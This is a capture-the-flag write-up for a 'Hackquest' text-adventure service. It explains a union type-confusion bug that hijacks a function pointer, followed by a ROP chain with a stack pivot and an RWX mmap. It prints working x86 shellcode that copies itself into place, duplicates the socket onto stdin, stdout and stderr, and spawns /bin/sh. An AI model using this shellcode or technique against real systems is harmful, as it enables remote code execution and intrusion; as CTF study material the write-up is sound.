/* #3 Hackquest */
== #3 Hackquest ==
* Remote system running some sort of text adventure.
* Hint dropped source code partially (extremely helpful)
* Hint from irc: look at the items
* struct ItemInfo contains a union:
<pre>
union
{
void* data;
LocationInfo* newLocation;
struct ItemInfo* newItem;
struct
{
ActionInfo* actionInfo;
char* requiredTarget;
} action;
struct
{
char* name;
struct ItemInfo* newItem;
} namedUnwrap;
} info;
</pre>
* use() has an insufficient test:
<pre>
if ((item->type == ITEM_PERFORM_ACTION) || (item->type == ITEM_MOVE_TO_LOCATION) ||
(item->type == ITEM_UNWRAP))
{
sendMsg(s, "That item can't have a target.\n");
ok = false;
}
else if (!strcasecmp(item->info.action.requiredTarget, target))
{
sendMsg(s, item->message);
item->info.action.actionInfo->func(s);
showDesc = item->info.action.actionInfo->showDesc;
}
</pre>
* if we "use letter on $target", we can make it call ->func()
* .requiredTarget aliases with .newItem, which in turn contains a set of pointers, all static -> $target is known
* ->func aliases with .name
* the game asks us for our name, and stores this into a 31 byte static buffer
* whatever we use as name will be used as function address to be called -> we captured control flow
* ROP ensues:
* first gadged: pivot stack pointer to area we control (the 256 byte cmd buffer in handleConnection)
* then mmap an anonymous page RWX to a fixed location -> memory we can write to and run code from, we choose the offset
* our data is on the stack, which is likely on a random offset -> need to move data from stack buffer to page
* work around this problem by putting bootstrap shellcode into the static name buffer (see above)
* bootstrap code copies stack-relative buffer to our page, then transfers control:
<pre>
leal 0x41(%esp),%esi # calc source from stack offset
popl %edi # dest addr is already on stack
pushl $0x41 # dest offset so that we don't get overwritten
popl %ecx # duplicates as length
addl %ecx,%edi # add offset
push %edi # store dest for later
rep movsl # copy
popl %edi # retrieve old dest
jmp *%edi # jump there
</pre>
* remaining shell code takes socket fd from fixed stack offset and dup2()s to 0, 1, 2, then spawns /bin/sh:
<pre>
pushl %ecx # ecx was cleared by rep above, put 0 on stack
movl 0xAB(%esp),%ebx # get socket fd from stack offset
1:
pushl $0x3f # dup2 syscall number
popl %eax # into eax
int $0x80 # do syscall
inc %ecx # inc desc2
cmp $0x3,%cl # do for 0, 1, 2
jne 1b # repeat
popl %ecx # zero ecx = argv
mull %ecx # zero eax, edx = env
pushl $0x0068732f # /sh\0
pushl $0x6e69622f # /bin
movl %esp,%ebx # string arg
movb $0xb,%al # execve syscall number
int $0x80 # magic!
</pre>
* cat key.txt
* all combined, use as (ruby h.rb; cat) | nc host 7331
